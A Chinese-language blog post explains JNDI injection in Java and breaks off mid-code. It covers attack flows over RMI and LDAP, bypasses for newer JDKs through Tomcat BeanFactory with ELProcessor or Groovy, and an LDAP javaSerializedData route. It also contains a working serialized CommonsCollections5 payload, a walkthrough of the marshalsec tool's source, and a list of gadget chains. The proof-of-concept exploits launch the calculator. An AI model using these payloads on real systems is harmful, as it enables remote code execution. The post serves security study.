美文网首页
Java反序列化2—JNDI攻击与工具分析

Java反序列化2—JNDI攻击与工具分析

作者: AxisX | 来源:发表于2022-05-07 17:42 被阅读0次

简单说一下JNDI攻击,它可以与RMI和LDAP攻击相结合,但是在高版本JDK中都将trustURLCodebase默认值改为了false,限制了从远程codebase加载对象。RMI对应的限制JDK为:JDK 6u132、7u122、8u113;LDAP对应的限制JDK为:JDK6u211、7u201、8u191、11.0.1。限制了远程加载后,大家就开始研究从本地环境中寻找利用类,如Tomcat的org.apache.naming.factory.BeanFactory,它具备反射功能,可以通过传入一个类来执行类中的方法。现有的类利用方式包含:javax.el.ELProcessor#evalgroovy.lang.GroovyShell#evaluate等。另外,这篇写一下JNDI现有的一些调用链和JNDI工具的源码分析。

JNDI工具名称 地址
JNDI-Injection-Exploit https://github.com/welk1n/JNDI-Injection-Exploit/
Rogue JNDI https://github.com/veracode-research/rogue-jndi
marshalsec https://github.com/mbechler/marshalsec

1. JNDI简介

2016年,blackhat大会上的议题《A JOURNEY FROM JNDI/LDAP MANIPULATION TO REMOTE CODE EXECUTION DREAM LAND》介绍了JNDI的攻击流程。在介绍JNDI攻击之前,要说说JNDI是什么。

JNDI(Java Naming and Directory Interface,Java命名与目录接口),如果从名称上进行拆分,可以分为命名服务和目录服务。命名服务是将名称与值关联起来的实体,也称为“绑定”(bindings)。例如,域名www.baidu.com和IP地址202.108.22.5绑定、姓名和身份证号绑定,都可以理解为一种命名服务。命名服务提供了基于名称来查找对象的方法,我们可以通过姓名这种好记的名称来查找身份证的值,即lookup(查找)search(搜索)目录服务是一种特殊的命名服务。只是在查找时找的是目录对象,它存有对象的所有属性,那么在操作时也操作的是对象的属性。

JNDI的架构如下:

Java Application ->JNDI API -> Naming Manager -> JNDI SPI(LDAP、DNS、NIS、NDS、RMI、CORBA)

之前的文章《Java反序列化1—反序列化常见利用类》中提到过SPI(Service Provider Interface),服务提供发现机制,Service通常指接口/抽象类,Provider则是接口的具体实现(如AService、BService)。在配置文件中配置Service的实现类,就可以通过ServiceLoader来调用所有的Provider。那么JNDI SPI可以理解为,通过JNDI,根据绑定对应的名称,来调用和管理LDAP、DNS等各类服务。

JNDI应用
数据库开发的代码简单的写法如下,但是这种写法存在一些问题,例如当url、用户名和密码变化时就需要修改源码

username="root";
password="root";
url="jdbc:mysql://localhost:3306/xxx";
Class.forName("com.mysql.jdbc.Driver");
conn=DriverManager.getConnection(url, username, password);

而使用JNDI的话,在META-INF下创建一个context.xml文件

<Context>
    <Resource
        name="jndi/mybatis" <! -- 以项目名称命名--> 
        auth="Container"
        driverClassName="com.mysql.jdbc.Driver"
        password="root"
        type="javax.sql.DataSource"
        url="jdbc:mysql://localhost:3306/xxx"
        username="root" />
</Context>

数据库连接的代码就改成了这样,要修改的话只需要修改配置文件,而无需修改代码。根据Resource的name进行搜索(命名服务的特点),根据相关属性加载类对象。从这个Demo也可以看出,Naming Manager能够创建上下文对象(Context)并根据位置信息引用对象的静态方法

Connection conn=null;
InitialContext ctx=new InitialContext();
Context envContext=(Context) ctx.lookup("java:comp/env");
DataSource ds=(DataSource) envContext.lookup("jndi/mybatis");
conn=ds.getConnection();

2. JNDI攻击

JNDI攻击的DEMO如下,上面说到JNDI支持很多的服务,如rmi、ldap等,所以在攻击时有一些区别。

Hashtable env = new Hashtable();
// rmi攻击
env.put(INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); 
env.put(PROVIDER_URL, "rmi://localhost:1099");
// ldap攻击
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory"); 
env.put(Context.PROVIDER_URL, "ldap://localhost:389");

Context ctx = new InitialContext(env);
ctx.bind(“foo”, “Sample String”);  // Bind a String to the name “foo” in the RMI Registry 
Object local_obj = ctx.lookup(“foo”); // Look up the object

PS:除了javax.naming.InitialContext,它的子类InitialDirContextInitialLdapContext也受此攻击影响

RMI的文章中讲过,远程方法调用过程中传递的是stub(代理对象),而不是对象本身,因为序列化的数据可能很大,每次传递大量的序列化数据并不是一个很好的设计。所以JNDI引入了Naming References,给了对象一个地址rmi://server/ref,从远程的codebase中加载class。

JNDI简单来说就是InitialContext.lookup(URI)根据名称来查找某个服务,URI可能是rmi://server/ref,也可能是ldap://server/ref。如果这个URI可控,并且传入的是攻击者的RMI服务器地址rmi://hacker_server/ref,那么获取到的就可能是一个恶意类。在查找过程中类会被动态加载并进行实例化,所以如果恶意类的构造方法/静态代码块static/getObjectInstance方法里写入了恶意代码,就会达到RCE(远程代码执行)的效果。

JNDI攻击流程(以RMI服务为例)

(1)攻击者绑定一个恶意类在RMI服务中
恶意类如下

public class Exp_fast {
    public void Exploit() {}
    static
    {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "calc.exe"}
                    : new String[]{"/bin/bash","-c", "open /Applications/Calculator.app"};
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        Exp_fast e = new Exp_fast();
    }
}

用marshalsec工具起一个RMI服务,并绑定恶意类Exp_fast

java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://ip:1389/\#Exp_fast(恶意脚本名称)

(2)攻击者在应用程序的lookup方法中传入JNDI的地址,并触发lookup方法

public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//高版本JDK需开启远程调用
        try {
            String uri = "rmi://127.0.0.1:1099/Evil";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

(3)应用程序访问攻击者的命名或目录服务,并获取到恶意类

此时RMI服务器1099端口会有如下记录

Have connection from /127.0.0.1:52420
Reading message...
Is RMI.lookup call for Exp_fast 2
Sending remote classloading stub targeting http://localhost:1389/Exp_fast.class
Closing connection

HTTP服务器1389端口会有如下记录

Serving HTTP on 0.0.0.0 port 1389 (http://0.0.0.0:1389/) ...
127.0.0.1 - - [21/May/2020 19:11:07] "GET /Exp_fast.class HTTP/1.1" 200 -

(4)应用程序对恶意类进行实例化,攻击载荷被执行

根据上述流程也可以看出来,应用程序的lookup中传入rmi地址,触发lookup请求后,请求了RMI注册表,得到了这样的反馈:Sending remote classloading stub targeting http://localhost:1389/Exp_fast.class,然后又向这个http地址发起了请求,最终获得了恶意类,然后实例化的过程中,执行了static代码块中的内容,最终弹了计算器。

3. 高版本限制与bypass

高版本限制

JDK 6u132、7u122、8u113中系统属性com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。想要进行利用,需要将这两个值改为false。

JDK6u211、7u201、8u191、11.0.1中将com.sun.jndi.ldap.object.trustURLCodebase 的默认值变为false。与上述RMI的限制类似。

RMI bypass

上述这些高版本中不能再从远程url中加载恶意类,那么就需要从本地的CLASSPATH入手,找一个恶意的工厂类,来执行命令或者进行反序列化构造。

JNDI调用RMI的调用栈如下:

javax.naming.InitialContext #lookup
  com.sun.jndi.toolkit.url.GenericURLContext #lookup
    com.sun.jndi.rmi.registry.RegistryContext #lookup
      com.sun.jndi.rmi.registry.RegistryContext #decodeObject --> 判断trustURLCodebase
        javax.naming.spi.NamingManager #getObjectInstance

RegistryContext#lookup时会获得一个Remote对象,被ReferenceWrapper包装,结构如下

ReferenceWrapper[
    Reference[
        className="Foo", 
        addrs={...}, 
        classFactory="Evil", 
        classFactoryLocation="http://ip:1389/#Evil
    ],
    UnicastServerRef[liveRef: [endpoint:[localhost:56396](local),objID:...]
]

RegistryContext#decodeObject这步中会判断trustURLCodebase,在高版本JDK中该值默认为false,所以会抛出异常。

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
    throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} 

NamingManager#getObjectInstance有如下代码

factory = getObjectFactoryFromReference(ref, f); //从CLASSPATH中加载factoryName对应的类,如果没找到就从codebase中加载
if (factory != null) {
    return factory.getObjectInstance(ref, name, nameCtx, environment);
}

//getObjectFactoryFromReference的核心三步:
clas = helper.loadClass(factoryName); // 从CLASSPATH中加载factoryName对应的类
clas = helper.loadClass(factoryName, codebase); // 如果没找到就从codebase中加载
return (clas != null) ? (ObjectFactory) clas.newInstance() : null; //类加载成功就进行实例化,并将其转换成ObjectFactory类型

也就是如果能从本地找到对应的类,就加载类进行实例化,转换成ObjectFactory类型,然后调用该类的getObjectInstance方法。

Tomcat BeanFactory绕过

有人找到了Tomcat中的org.apache.naming.factory.BeanFactory类,该类实现了ObjectFactory接口,并且具备getObjectInstance方法。具体看一下getObjectInstance方法的源码

public class BeanFactory implements ObjectFactory{
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
        if (obj instanceof ResourceRef) { //obj需要为ResourceRef类型 --> (1)要求为ResourceRef类型
            try {
                Reference ref = (Reference)obj;
                String beanClassName = ref.getClassName();
                Class<?> beanClass = null;
                ClassLoader tcl = Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);  //根据className加载类
                   }
            ...
            Object bean = beanClass.getConstructor().newInstance(); //构造方法创建对象 -->(2)要求类中有无参构造方法
            RefAddr ra = ref.get("forceString"); //获取forceString的内容
            if (ra != null) {
                value = (String)ra.getContent();
                Class<?>[] paramTypes = new Class[]{String.class}; //参数类型,String数组型
                String[] arr$ = value.split(",");
                for(int i$ = 0; i$ < i; ++i$) { //对forceString内容进行遍历
                    String param = arr$[i$];
                    param = param.trim();
                    int index = param.indexOf(61); // 根据=号截取forceString --> (3)如果没有setter方法,需要将方法名放到等号后,如x=eval,调用eval方法
                    if (index >= 0) {
                        propName = param.substring(index + 1).trim(); //=号后的内容为propName
                        param = param.substring(0, index).trim(); //=号前的内容为param
                    }
                    forced.put(param, beanClass.getMethod(propName, paramTypes)); // 根据方法名、参数类型获取方法。param是即将传入方法的参数
              }
              value = (String)ra.getContent(); //从ra中获取方法值
              Method method = (Method)forced.get(propName);
              if (method != null) {
                  valueArray[0] = value;
                  try {
                      method.invoke(bean, valueArray); //调用方法
                  }
              }
}

BeanFactory相当于Tomcat本地可以利用的类,但是想要执行命令还需要找一个配合的类。因为BeanFactory只提供反射调用。具体调用哪个类需要根据getObjectInstance的逻辑来构造。之前的文章《Java WebShell1—Java 命令执行》提过ELProcessor命令执行,该类具有无参构造方法。类是从Reference的结构中读取的,那么想要利用ELProcessor配合BeanFactory,就需要将结构赋值成如下的形式。

    Reference[
        className="javax.el.ELProcessor", 
        addrs={...}, 
        classFactory="org.apache.naming.factory.BeanFactory", 
        classFactoryLocation=null
    ],

最终构造的Server端代码如下,此时Client端lookup查询Evil类即可触发

ResourceRef ref=new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString","x=eval"));
ref.add(new StringRefAddr("x","{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','/System/Applications/Calculator.app']).start()\")}"));

ReferenceWrapper referenceWrapper=new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Evil",referenceWrapper);

还有利用Groovy进行命令执行的方式。

Registry registry= LocateRegistry.createRegistry(1099);
ResourceRef ref=new ResourceRef("groovy.lang.GroovyClassLoader",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString","x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
                "    assert java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\")\n" +
                "})\n" +
                "def x\n";
ref.add(new StringRefAddr("x",script));

ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Evil", referenceWrapper);
}

对于其他利用类,浅蓝找了很多,可以看看https://tttang.com/archive/1405/

LDAP bypass

LDAP发送实体时,可以为存储的Java对象指定多种属性,具体如下:

 0 = "objectClass"
 1 = "javaSerializedData"
 2 = "javaClassName"
 3 = "javaFactory"
 4 = "javaCodeBase"
 5 = "javaReferenceAddress"
 6 = "javaClassNames"
 7 = "javaRemoteLocation"

JNDI从codebase拉取对象时,服务器的属性设置如下,但这种方法被高版本禁止了。

// JNDI Reference
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());

所以绕过思路是从javaSerializedData属性入手,一旦该属性值不为空,客户端的decodeObject方法就会对这个属性的值进行反序列化。如果此时被攻击的系统中存在CommonsCollections等,就可以产生攻击。具体设置如下,base64字符串可以通过java -jar ysoserial.jar CommonsCollection5 "open -a Calculator" | base64"来生成

// 序列化对象
String base64String="rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACV0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEm9wZW4gLWEgQ2FsY3VsYXRvcnQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=";
e.addAttribute("javaSerializedData", Base64.decode(base64String));

JNDI+LDAP的调用栈如下

javax.naming.InitialContext #lookup
  com.sun.jndi.url.ldap.ldapURLContext #lookup
    com.sun.jndi.toolkit.url.GenericURLContext #lookup
      com.sun.jndi.toolkit.ctx.PartialCompositeContext #lookup
        com.sun.jndi.toolkit.ctx.ComponentContext #p_lookup
          com.sun.jndi.ldap.LdapCtx #c_lookup
            com.sun.jndi.ldap #decodeObject
              com.sun.jndi.ldap #deserializeObject

decodeObject这步中,如果javaSerializedData属性的值不为空,就对其属性值进行反序列化deserializeObject,该方法就是原生反序列化的过程((ObjectInputStream)var20).readObject()

static Object decodeObject(Attributes var0) throws NamingException {
        String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

        try {
            Attribute var1;
            if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) { // javaSerializedData的值不为空
                ClassLoader var3 = helper.getURLClassLoader(var2);
                return deserializeObject((byte[])((byte[])var1.get()), var3);
            } ...
}

高版本限制com.sun.jndi.ldap.VersionHelper12获取URLClassLoader时会判断com.sun.jndi.ldap.object.trustURLCodebase是否为true。

final class VersionHelper12 extends VersionHelper {
    private static final String TRUST_URL_CODEBASE_PROPERTY = "com.sun.jndi.ldap.object.trustURLCodebase";
    private static final String trustURLCodebase = (String)AccessController.doPrivileged(new PrivilegedAction<String>() {
        public String run() {
            return System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
        }
    });

    ClassLoader getURLClassLoader(String[] var1) throws MalformedURLException {
        ClassLoader var2 = this.getContextClassLoader();
        return (ClassLoader)(var1 != null && "true".equalsIgnoreCase(trustURLCodebase) ? URLClassLoader.newInstance(getUrlArray(var1), var2) : var2);
    }
}

4. JNDI工具—marshalsec

所谓的JNDI工具就是能帮助我们起一个JNDI服务,例如上面Demo中的java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://ip:1389/\#Exp_fast,看一下这部分的具体实现。

RMI/LDAP服务用法,第一个参数是<codebase>#<class>,第二个参数是port(此参数可选)

java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]

RMIRefServer

先看看主函数,核心方法就两步,一是new RMIRefServer将参数(port,url)传入构造函数,二是调用run方法,开启JRMP listener。

RMIRefServer c = new RMIRefServer(port, new URL(args[0])); // args[0]为<codebase>#<class>
c.run();

构造方法

public RMIRefServer(int port, URL classpathUrl) throws IOException {
    this.port = port;
    this.classpathUrl = classpathUrl;
    this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}

在解析run方法之前,先说说构造方法中用到的ServerSocketFactory所代表的——Socket编程

Java Socket

应用程序建立远程连接是通过Socket(套接字)来实现的,编程语言对操作系统功能进行封装,提供Socket类,每个应用程序对应到不同的Socket。一个Socket由IP地址和端口号(0-65535)组成。客户端和服务器(两台主机,一方发起,一方监听)都通过对Socket对象的写入和读取来进行通信,过程大致如下:

// 服务器端
  public static void main(String[] args) throws Exception {
    int port = 1234;
    ServerSocket server = new ServerSocket(port); // 服务器实例化一个ServerSocket对象
    Socket socket = server.accept(); // 服务器调用accept方法开始等待请求
    InputStream inputStream = socket.getInputStream(); //从socket中获取输入流
    byte[] bytes = new byte[1024];
    int len;
    StringBuilder sb = new StringBuilder();
    while ((len = inputStream.read(bytes)) != -1) {
      sb.append(new String(bytes, 0, len,"UTF-8")); //将流转换成字符串
    }
    System.out.println("get message from client: " + sb);
    inputStream.close();
    socket.close();
    server.close();
  }

// 客户端
  public static void main(String args[]) throws Exception {
    String host = "127.0.0.1"; 
    int port = 1234;
    Socket socket = new Socket(host, port); // 客户端实例化一个Socket对象,连接服务器指定端口
    OutputStream outputStream = socket.getOutputStream();
    String message="Hello";
    socket.getOutputStream().write(message.getBytes("UTF-8"));
    outputStream.close();
    socket.close();
  }

如果没有客户端连接,accept方法就会一直阻塞并保持等待。如果有多个客户端同时连接,就会进入到ServerSocket的队列一个一个进行处理。不断调用accept就可以获取新的连接。构造方法中的ss属性就类似new ServerSocket(port);

此时再看run方法,调用ss.accept方法开始等待请求,一旦接受到请求,获取此套接字连接的端点的地址,然后从socket中获取输入流

public void run() {
    try {
        while(!this.exit && (s = this.ss.accept()) != null) {
            try {
                s.setSoTimeout(5000); 
                InetSocketAddress remote = (InetSocketAddress)s.getRemoteSocketAddress();
                System.err.println("Have connection from " + remote);
                InputStream is = s.getInputStream();
                InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);

                // InputSteam.mark(int readlimit),在输入流中标记当前位置,后续调用reset方法重新将流定位于最后标记的位置
                //参数readlimit是标记位置变为非法数据前允许读的字节数,一旦超过这个设置,就认为mark标记失效, 不能再读以前的数据了
                ((InputStream)bufIn).mark(4);
                DataInputStream in = new DataInputStream((InputStream)bufIn);
                Throwable var6 = null;

                try {
                    // 读取rmi的magic 0x4a524d49(十进制为1246907721)、version(默认为2)
                    int magic = in.readInt();
                    short version = in.readShort();
                    if (magic == 1246907721 && version == 2) { // 判断是RMI协议
                        OutputStream sockOut = s.getOutputStream();
                        BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
                        DataOutputStream out = new DataOutputStream(bufOut);
                        Throwable var12 = null;

                        try {
                            byte protocol = in.readByte();
                            // protocol有三种,StreamProtocol、SingleOpProtocol、MultiplexProtocol
                            // 分别对应0x4b、0x4c、0x4d,对应的是十进制为75、76、77
                            switch(protocol) {
                                case 75:
                                    out.writeByte(78); //78为0x4e,代表ProtocolAck
                                    if (remote.getHostName() != null) {
                                        out.writeUTF(remote.getHostName());
                                    } else {
                                        out.writeUTF(remote.getAddress().toString());
                                    }
                                    out.writeInt(remote.getPort());
                                    out.flush();
                                    in.readUTF();
                                    in.readInt();
                                case 76:
                                    this.doMessage(s, in, out);
                                    bufOut.flush();
                                    out.flush();
                                    break;
                                case 77:
                                default:
                                    System.err.println("Unsupported protocol");
                                    s.close();
                                }
                            }  ...
}

如果是SingleOpProtocol,就调用doMessage

    private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
        System.err.println("Reading message...");
        int op = in.read();
        switch(op) {
        case 80:  // 0x50 -> Call 
            this.doCall(in, out);
            break;
        case 81: // 0x51 -> Return
        case 83: // 0x53 -> PingAck
        case 82: // 0x52 -> Ping
            out.writeByte(83);
            break;
        case 84: // 0x54 -> DGCAck
            UID.read(in);
        }...
}

doCall

ObjID read = ObjID.read(ois); // REGISTRY_ID = 0 | ACTIVATOR_ID = 1| DGC_ID = 2
if (read.hashCode() == 2) {
    handleDGC(ois);
} else if (read.hashCode() == 0 && this.handleRMI(ois, out)) {
    this.hadConnection = true;
    synchronized(this.waitLock) {
    this.waitLock.notifyAll();
    return;
}

handleRMI是JNDI Reference的核心,在上面RMI bypass中提到,远程RMI获取Remote对象时需要被ReferenceWrapper包装。handleRMI的功能就是完成ReferenceWrapper的构造。RMI源码解析的文章中也提到过如果需要序列化远程对象或包含对远程对象的引用的对象,则必须使用MarshalOutputStream,它扩展自ObjectOutputStream,根据传入的protocol version来生成流。

private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {
    int method = ois.readInt();
    ois.readLong();
    if (method != 2) {
        return false;
    } else {
        String object = (String)ois.readObject();
        System.err.println("Is RMI.lookup call for " + object + " " + method);
        out.writeByte(81);
        ObjectOutputStream oos = new RMIRefServer.MarshalOutputStream(out, this.classpathUrl);
        Throwable var6 = null;

        try {
            oos.writeByte(1);
            (new UID()).write(oos);
            System.err.println(String.format("Sending remote classloading stub targeting %s", new URL(this.classpathUrl, this.classpathUrl.getRef().replace('.', '/').concat(".class"))));
            ReferenceWrapper rw = (ReferenceWrapper)Reflections.createWithoutConstructor(ReferenceWrapper.class); // 创建ReferenceWrapper
            Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", this.classpathUrl.getRef(), this.classpathUrl.toString())); // 创建Reference
            Field refF = RemoteObject.class.getDeclaredField("ref");
            refF.setAccessible(true);
            refF.set(rw, new UnicastServerRef(12345));
            oos.writeObject(rw);
            oos.flush();
            out.flush();
        } 
}

LDAPRefServer

同样先看一下main方法,

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[]{"dc=example,dc=com"});
// 指定用于目录服务器的监听器配置,此处传入监听端口
config.setListenerConfigs(new InMemoryListenerConfig[]{new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory)SSLSocketFactory.getDefault())});
// 添加拦截器,用于在内存目录服务器处理请求之前转换请求
config.addInMemoryOperationInterceptor(new LDAPRefServer.OperationInterceptor(new URL(args[0])));
// 创建LDAP服务器实例
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
// 启动服务器,接收客户端连接
ds.startListening();

拦截器的实现主要是发送LDAP Reference,核心在于设置Entry的属性

private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;

        public OperationInterceptor(URL cb) { this.codebase = cb;}

        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base); //创建Entry
            this.sendResult(result, base, e);
        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf(35);
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
           //  设置属性为JNDI Reference,高版本绕过此处还应该加入javaSerializedData选项。
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }

5. JNDI调用链

无论是什么调用链,最终都是运行到InitialContext.lookup

(1)com.sun.rowset.JdbcRowSetImpl
(2)com.sun.jndi.rmi.registry.BindingEnumeration
(3)com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl
(4)org.apache.commons.configuration.JNDIConfiguration
(5)com.mchange.v2.c3p0.JndiRefForwardingDataSource
(6)com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
// Spring JNDI调用链的核心:SimpleJndiBeanFactory
(7)org.springframework.beans.factory.config.PropertyPathFactoryBean
(8)org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder
(9)org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor

(1)JdbcRowSetImpl
调用链

JdbcRowSetImpl.setAutoCommit
    JdbcRowSetImpl.connect
        InitialContext.lookup

JdbcRowSetImpl具体代码

//JdbcRowSetImpl
    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            // conn为null,进入connect
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }
    }

    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                // JNDI代码
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
               ...
    }

测试代码如下:

    public static void main(String[] args) throws SQLException {
